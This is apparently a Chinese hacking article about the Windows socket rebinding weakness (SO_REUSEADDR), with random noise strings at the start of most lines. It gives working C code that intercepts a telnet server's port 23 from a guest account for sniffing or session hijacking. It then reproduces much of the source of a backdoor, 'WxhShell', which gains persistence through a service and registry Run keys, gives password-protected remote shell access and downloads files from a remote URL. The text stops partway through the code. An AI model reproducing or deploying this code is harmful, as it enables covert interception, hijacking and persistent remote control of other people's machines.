在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
SU%mmwES3 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
{y,nFxLq {Q5KV%F_ saddr.sin_family = AF_INET;
"7=bL7wM& J>`v.8y saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Mv.Ciyc iH-bo@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
2E$^_YT
C >=if8t! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
z)4UMR#b& TC qkm^xv 这意味着什么?意味着可以进行如下的攻击:
P+Wm9xR2d UTZ776`S&X 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
b,#`n i=oTg 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
f:]u`ziM XZ.7c{B< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
N0+hejz RX:R*{]- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
hZcmP"wgC1 `9/0J-7* 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
0|g[o:;fl_ '%R<" 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Pp,Um( R7lYu\mA 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
R.K?
0HqPyM13Q #include
Di:{er(p #include
/vHYM S #include
C
8N%X2R #include
|2O')3p"9 DWORD WINAPI ClientThread(LPVOID lpParam);
j(j#0dXLh int main()
S+r^B?a<oM {
".gNeY6)x WORD wVersionRequested;
4Rx~s7l DWORD ret;
6Lb{r4^ WSADATA wsaData;
Uo~T'mA" BOOL val;
z<!O!wX_aI SOCKADDR_IN saddr;
>Iuzk1'S SOCKADDR_IN scaddr;
{@3z\wMK$ int err;
u$C\E<G^ SOCKET s;
h\(B#SN SOCKET sc;
6
Ew@L<v int caddsize;
GQb i$kl HANDLE mt;
eH
%Ja[ DWORD tid;
I!P4(3skAB wVersionRequested = MAKEWORD( 2, 2 );
8) HBh7/ err = WSAStartup( wVersionRequested, &wsaData );
]%
K'
fXj$ if ( err != 0 ) {
2`EVdl7B] printf("error!WSAStartup failed!\n");
1B 5:s,Oyj return -1;
A_Rrcsl4 }
tAERbiH
saddr.sin_family = AF_INET;
Lbcy:E*g k@yh+ v5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
09'oz*v{# 30s; } saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
D93gH1z saddr.sin_port = htons(23);
{Ur7#h5 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
gljo;f: {
V@[rf<, printf("error!socket failed!\n");
m^<p8KZ return -1;
|jsb@ }
uAUp5XP|Z val = TRUE;
|d[5l^6 //SO_REUSEADDR选项就是可以实现端口重绑定的
dN< ,%}R if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
lCR!:~ {
w9MoT.kI} printf("error!setsockopt failed!\n");
M ,`w A return -1;
zEj#arSE4 }
5MR,UgT //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Sm)u9 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
V7EQ4Om:It //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
TN\|fzj +y/ 55VLq if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
h$`#YNd' {
,beS0U] ret=GetLastError();
QOH<]~3J printf("error!bind failed!\n");
`rlk|&T1 return -1;
vy[C'a }
?^}_j
vT listen(s,2);
+>SRrIi while(1)
ZIDbqQu {
_|A+) K caddsize = sizeof(scaddr);
FH8k'Hxg //接受连接请求
{WQq}-( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
y \D=Z
N@ if(sc!=INVALID_SOCKET)
<.bRf {
xR?V,uV'$& mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Od##U6e` if(mt==NULL)
&l m# {
)"|||\Iv printf("Thread Creat Failed!\n");
{e"dm5 break;
(5a1P;_Y }
Y1)!lTG }
wP<07t[-g CloseHandle(mt);
X:|8vS+0gU }
}gv8au< closesocket(s);
W3GNA""O WSACleanup();
po7>IQS] return 0;
B$XwTJ> }
PX2c[CDE^ DWORD WINAPI ClientThread(LPVOID lpParam)
~e-z,:Af {
UG](go't SOCKET ss = (SOCKET)lpParam;
6KRO{QK SOCKET sc;
[%pRfjM unsigned char buf[4096];
*z8|P#@ SOCKADDR_IN saddr;
0^3+P%(o@ long num;
\~~ }N4 DWORD val;
,eRQu. DWORD ret;
TB!((' //如果是隐藏端口应用的话,可以在此处加一些判断
T^:fn-S}= //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
4CrLkr saddr.sin_family = AF_INET;
O"Q7Rx saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
sOpep saddr.sin_port = htons(23);
l63hLz if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
BUsV|e\ {
_las;S'oa printf("error!socket failed!\n");
H43MoC return -1;
Zsx3/} }
,R2U`EO; val = 100;
G8J*Wnwu[K if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[0y$! f4 {
yK%ebq] ret = GetLastError();
@7<uMasfp return -1;
f0>!qt }
k|xtr&1N.! if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
g[[;w*;z {
Ii&7rdoxe ret = GetLastError();
t:)ERT") return -1;
@t*t+Vqw }
j Ux
z if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
+>\id~c( {
MTOy8 Im printf("error!socket connect failed!\n");
eE@&ze>X closesocket(sc);
}4//@J?: closesocket(ss);
Ul+Mo&y- return -1;
6"f}O<M5H }
5d\q-d while(1)
!?!C'-ps {
)B$;Vs]@i //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
=
ieag7! //如果是嗅探内容的话,可以再此处进行内容分析和记录
~j9O$s~) //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
=]C]= num = recv(ss,buf,4096,0);
O"G >wv if(num>0)
rXfy!rD_P_ send(sc,buf,num,0);
p-SJ6Gg
9 else if(num==0)
]#2Y e7+ break;
$F'>yop2b num = recv(sc,buf,4096,0);
m P'^%TE if(num>0)
hrGH}CU" send(ss,buf,num,0);
BV#78,8( else if(num==0)
[*:6oo98' break;
v<Kmq-b }
U}k9 Py closesocket(ss);
=#gEB#$x: closesocket(sc);
wU\s;
dK return 0 ;
4m)OR }
QPtGdd \>QF(J [8 c%m3}mrb ==========================================================
/3 B
$( re?s.djT 下边附上一个代码,,WXhSHELL
}a
AH ig}A9j?] ==========================================================
\p{5D`HY \*f;X aa #include "stdafx.h"
e[_m<e ,\2:/>2 #include <stdio.h>
E.|-?xQ6 #include <string.h>
YH&bD16c3 #include <windows.h>
c(;a=n(E# #include <winsock2.h>
DwHF[]v' #include <winsvc.h>
YuZ"s55zU{ #include <urlmon.h>
N-
H^lqD l 'DsZ9y@2 #pragma comment (lib, "Ws2_32.lib")
3"n\8#X{ #pragma comment (lib, "urlmon.lib")
,L bBpi=TJ W6 H,6v #define MAX_USER 100 // 最大客户端连接数
l<0}l^C. #define BUF_SOCK 200 // sock buffer
X4l@woh%
#define KEY_BUFF 255 // 输入 buffer
s, k LJk%#yV|_ #define REBOOT 0 // 重启
&F STpBu #define SHUTDOWN 1 // 关机
;2'q_Btk4 Urr#N #define DEF_PORT 5000 // 监听端口
4SPy28<f h.O$]:N #define REG_LEN 16 // 注册表键长度
=0uAE7q(9 #define SVC_LEN 80 // NT服务名长度
!$N<ds. EnOU?D // 从dll定义API
ib{-A& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
N_:qRpp6i typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_=CZR7:O typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
!aO` AC=5u typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
^WBuMCe Z87_ #5 // wxhshell配置信息
5p.rwNE struct WSCFG {
dT,o=8fg int ws_port; // 监听端口
"BX! char ws_passstr[REG_LEN]; // 口令
EdZ\1'&/9 int ws_autoins; // 安装标记, 1=yes 0=no
gUyR_5q)8l char ws_regname[REG_LEN]; // 注册表键名
!,V{zTR char ws_svcname[REG_LEN]; // 服务名
5waKI?4F char ws_svcdisp[SVC_LEN]; // 服务显示名
"HE^v_p char ws_svcdesc[SVC_LEN]; // 服务描述信息
\+aC"#+0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
5onm]V] int ws_downexe; // 下载执行标记, 1=yes 0=no
2^i(gaXUQ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
g1t0l%_7^ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
,U(1NK8o i[wb0yL };
Jgnhn>dHe o sKKt?^? // default Wxhshell configuration
Aq3}Ng struct WSCFG wscfg={DEF_PORT,
5^^XQ?" "xuhuanlingzhe",
8\:NMP8W\ 1,
Kq i4hK "Wxhshell",
AU2i%Q! "Wxhshell",
kbM3 "WxhShell Service",
e=O,B8)_ "Wrsky Windows CmdShell Service",
*/|BpakD< "Please Input Your Password: ",
Qxj JN^Q 1,
M(/r%-D "
http://www.wrsky.com/wxhshell.exe",
g<~Cpd "Wxhshell.exe"
bV,}Pp+/"! };
V+O"j^Z_J 9K1oZ?)_z // 消息定义模块
%2v4<icvq char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
,\NFt`]j char *msg_ws_prompt="\n\r? for help\n\r#>";
y*X_T,K8 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
VkZ7# char *msg_ws_ext="\n\rExit.";
)ZN|t?| char *msg_ws_end="\n\rQuit.";
qvPtyc^fN char *msg_ws_boot="\n\rReboot...";
M![J2= char *msg_ws_poff="\n\rShutdown...";
BCA&mi3q char *msg_ws_down="\n\rSave to ";
fkac_X$7 R?]02Q char *msg_ws_err="\n\rErr!";
`]%|f char *msg_ws_ok="\n\rOK!";
i>(e}<i wiiCd char ExeFile[MAX_PATH];
ti#7(^j int nUser = 0;
-\C!I HANDLE handles[MAX_USER];
AvW:<}a, int OsIsNt;
2k=#om19 Qjb:WC7he SERVICE_STATUS serviceStatus;
.0es3Rj SERVICE_STATUS_HANDLE hServiceStatusHandle;
p|! #'y#"cmQ. // 函数声明
4ecP*g int Install(void);
<)3u6Vky9 int Uninstall(void);
0=?<y'= int DownloadFile(char *sURL, SOCKET wsh);
@Z12CrJ int Boot(int flag);
P
Y void HideProc(void);
t2)rUWg int GetOsVer(void);
5k.oW= int Wxhshell(SOCKET wsl);
P?k0zwOlBl void TalkWithClient(void *cs);
]UmFhBR- int CmdShell(SOCKET sock);
sIy^m}02 int StartFromService(void);
>6?__v]9G int StartWxhshell(LPSTR lpCmdLine);
62zYRs\Y)X 1u:<
25 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
=|Y,+/R? VOID WINAPI NTServiceHandler( DWORD fdwControl );
}"|K(hq ,'u W*kx // 数据结构和表定义
h D/*h*}T> SERVICE_TABLE_ENTRY DispatchTable[] =
adR)Uq9 {
3xaR@xjS {wscfg.ws_svcname, NTServiceMain},
cH&J{WeZa {NULL, NULL}
-[wGX}} };
w9bbMx ;<ZLcTL // 自我安装
bJX)$G int Install(void)
,=[?yJy {
`9BROZnq char svExeFile[MAX_PATH];
o6uJyCO HKEY key;
~GZY 5HF strcpy(svExeFile,ExeFile);
):[7E(F= rp;b" q // 如果是win9x系统,修改注册表设为自启动
}F#okU if(!OsIsNt) {
,Pdf,2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
uo@n(>}EL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'2 PF RegCloseKey(key);
fR(d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
uc){+'[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3R.W>U RegCloseKey(key);
U`2e{>'4t return 0;
#
mV{#B= }
9[.8cg* }
,)vDeU }
_I:/ZF5 else {
A\HxDIU `ojoOB^L // 如果是NT以上系统,安装为系统服务
u=`L) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
aWR}R>E if (schSCManager!=0)
(KDD e}f {
J1C3&t}
SC_HANDLE schService = CreateService
gaZu;t2u (
-;^j:L{ schSCManager,
)-a'{W/t wscfg.ws_svcname,
&E.^jR~* wscfg.ws_svcdisp,
n(;|q&3 SERVICE_ALL_ACCESS,
tFp Ygff< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
s~5[![1
K SERVICE_AUTO_START,
x-^`~p SERVICE_ERROR_NORMAL,
z=q3Zo svExeFile,
iO|se:LY< NULL,
iOW#>66d NULL,
Ab{ K<:l NULL,
W04@!_) < NULL,
e4?>- NULL
_( {hc+9p );
Vf]
"L.G if (schService!=0)
>n'o*gZM {
1H6<[iHW CloseServiceHandle(schService);
"@iK'
c^ CloseServiceHandle(schSCManager);
l`#4KCL( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
pKpUXfQu strcat(svExeFile,wscfg.ws_svcname);
X-K=!pET if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{zQ8)$CQ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ChGYTn`X RegCloseKey(key);
|}=acc/ return 0;
_Xk.p_uh }
-zOdU}91Ao }
bk;?9%TW CloseServiceHandle(schSCManager);
}fb#G<3 }
+BETF;0D }
TQpf Q dfKF%27 return 1;
,!#*GZ.ix }
C~2F9Pg jB%lB1Q| // 自我卸载
n<O}hM ZT int Uninstall(void)
vHryPl+ {
}$SavB#SBP HKEY key;
(l^3Z3zf& ,,%i; if(!OsIsNt) {
<m)$K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D$
dfNiCH RegDeleteValue(key,wscfg.ws_regname);
v+46QK|I& RegCloseKey(key);
/:~\5}tW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
tn(JC%?^ RegDeleteValue(key,wscfg.ws_regname);
,)Me RegCloseKey(key);
MQ5R O;RY return 0;
*>7 >g" }
m% -g ~q }
j*so9M6|c }
HN=V"a else {
Dfg2`l dJJP3}M/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
G_bG if (schSCManager!=0)
&"f"; {
*|%@6I( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
=,spvy'"*C if (schService!=0)
nAW:utTB {
%b&".mN if(DeleteService(schService)!=0) {
p>RNPrT CloseServiceHandle(schService);
Ta
?_5 CloseServiceHandle(schSCManager);
}vxw*8d? return 0;
~zCEpU|@N }
iU$] {c2;A CloseServiceHandle(schService);
{.?ZHy\Rk }
cv998*|X: CloseServiceHandle(schSCManager);
xST8|H }
(eI5_`'VC }
JjPKR?[> *X'Y$x>f return 1;
adCU61t }
`^u>9v-+' XG{{ 2f // 从指定url下载文件
$$|rr G int DownloadFile(char *sURL, SOCKET wsh)
Cn'(<bl {
G18F&c~ HRESULT hr;
sqEI4~514 char seps[]= "/";
$?Yry.2 char *token;
/oR0+sH] char *file;
2|3)S`WZl char myURL[MAX_PATH];
RQ vft char myFILE[MAX_PATH];
;&<{ey "?]{%-u strcpy(myURL,sURL);
iHeN9 cl token=strtok(myURL,seps);
z:8eEq3w while(token!=NULL)
3h;{!|-3 {
<sWprR file=token;
h1B? 8pD token=strtok(NULL,seps);
qaiNz S@q }
&+Z,hs9% !\zWF GetCurrentDirectory(MAX_PATH,myFILE);
jN{Xfjmfv strcat(myFILE, "\\");
LPZF)@|` strcat(myFILE, file);
V=R 3)GC send(wsh,myFILE,strlen(myFILE),0);
P\yDa*m send(wsh,"...",3,0);
{P*pkc hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
\|H!~) h$1 if(hr==S_OK)
%eX{WgH return 0;
E@@5BEB ~ else
'Y*E<6: return 1;
',Y.v"']4 H5DC[bZMb% }
xbdN0MAU rM`X?>iT+ // 系统电源模块
vI:;A/& int Boot(int flag)
Eo{"9j\ {
3.|S HANDLE hToken;
$G8E 3|k TOKEN_PRIVILEGES tkp;
}#L^! \V} 3,p]/Z_ if(OsIsNt) {
+MR.>" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
8$")%_1] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
9!6f-K tkp.PrivilegeCount = 1;
j/R[<47 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Ja,wfRq AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
s3~lT. if(flag==REBOOT) {
&M46&^Jho if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
kStnb?nk return 0;
5Sm}nH }
a][f else {
G9Y#kBr if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
fKeT,U`W return 0;
'C`U"I }
3L<wQ( }
7op`s5i else {
&+cEV6vb+ if(flag==REBOOT) {
iIMd!Q.)@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
~D<IB#C return 0;
D&od?3}E }
"Ue.@> else {
K~AR*1??[ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
'10oK {m$ return 0;
tX5"UQA }
g
l^<Q }
gW^VVbB'L Yk)."r&